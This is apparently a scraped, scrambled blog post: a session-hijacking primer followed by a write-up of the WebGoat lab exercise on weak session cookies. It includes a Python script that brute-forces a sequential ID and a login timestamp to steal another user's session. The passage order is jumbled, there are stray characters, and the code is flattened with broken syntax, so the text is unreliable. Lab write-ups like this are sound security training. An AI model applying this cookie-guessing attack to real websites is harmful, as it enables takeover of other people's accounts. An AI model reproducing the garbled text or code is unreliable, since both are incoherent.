However, just like real-life cookies, someone can snatch them away from you. These are temporary files in your web browser that allow the website to remember that you are logged in and authenticated. Sessions represent a connection between the user’s computer or other device and a server and are what makes the exchange of information and data between two computers on the network possible.
#Session hijacking how to
User-Agent: Mozilla/5.0 (X11 Ubuntu Linux x86_64 rv:51.0) Gecko/20100101 Firefox/51.0Īccept: text/html,application/xhtml+xml,application/xml q=0.9, / q=0.Is Your Session Hijacked? How to Prevent Session Hijacking?Įvery time you log in or access a website or server on the network you initiate what is called a “session”. And when we send a request and substitute our WEAKID values for the jacked session cookie: Let’s give it a shot and see if we can jack a session:Īwesome. brute_force_cookie () if _name_ = "_main_" : main ()Īlright, looks good. exit ( 0 ) else : login_time_guess -= 1 if not logged_in : print ( "Failed to find session login" ) def main (): attack_url = '' current_webgoat_cookie = "F6E740AFB0D99B26D271E23C39F10F78" session_hijack = SessionHijack ( attack_url, current_webgoat_cookie ) session_hijack. current_webgoat_cookie = current_webgoat_cookie self. Let’s whip up a script to do the heavy lifting for us: import sys import requests class SessionHijack : def _init_ ( self, attack_url, current_webgoat_cookie ): self. So if the first section of the cookie is assigned sequentially, and we generate a bunch of cookies, maybe we can spot a lack of sequentiality in the cookie generation that represents a cookie id belonging to another user. Is the cookie value predictable? Can you see gaps where someone else has acquired a cookie?.I looked at another hint that pointed out the probable weakness in cookie generation: Now let’s generate a bunch of these cookies and see if we can spot a weakness. Set-Cookie: acgroupswithpersist=nada Expires=Thu, 0 00:00:10 GMTĪha! Sure enough this is the response that sets the WEAKID session cookie that we are trying to exploit. Set-Cookie: redmine="" Expires=Thu, 0 00:00:10 GMT
Set-Cookie: acopendivids=swingset Expires=Thu, 0 00:00:10 GMT I figured that the cookie was probably generated when we navigated to the lesson page, so I sent a GET request for the challenge page and checked the response:Ĭontent-Type: text/html charset=ISO-8859-1 The second would be to find a weakness in that cookie generation and exploit it. The first would be to find a request that generates a session cookie of interest. So there were actually two steps to the attack.
#Session hijacking series
We will then perform some analysis on the resulting series of identifiers. For example, if the identifier is supplied in a cookie, look for responses that include Set-Cookie headers, then use the request repeatedly to obtain more session identifiers. Identify a request that generates a suitable session identifier.The following section from OWASPs article on ‘How to test session identifier strength with WebScarab’ gave me a more substantial hint in what I needed to do: I took a step back and read some more about Session Hijacking and common methodologies. I figured this out after roughly 300-400,000 requests and assumed there was probably a flaw in my logic, although I wasn’t sure where.
Unfortunately, my initial brute-force attempt failed. We would steal the session from the person who logged in before me by decrementing the sequential login value by 1 and brute-forcing the Epoch time of their login. Looking online I checked the current time since Epoch in milliseconds and found it was roughly a similar number to the second half of the cookie. The first part of the cookie is a sequential number, the second part is milliseconds.The first hint (that was a pretty big one) that started me off was: After messing around with parameters for a while, I decided to check out the hints. I really didn’t know where to start with this one.
0 kommentar(er)
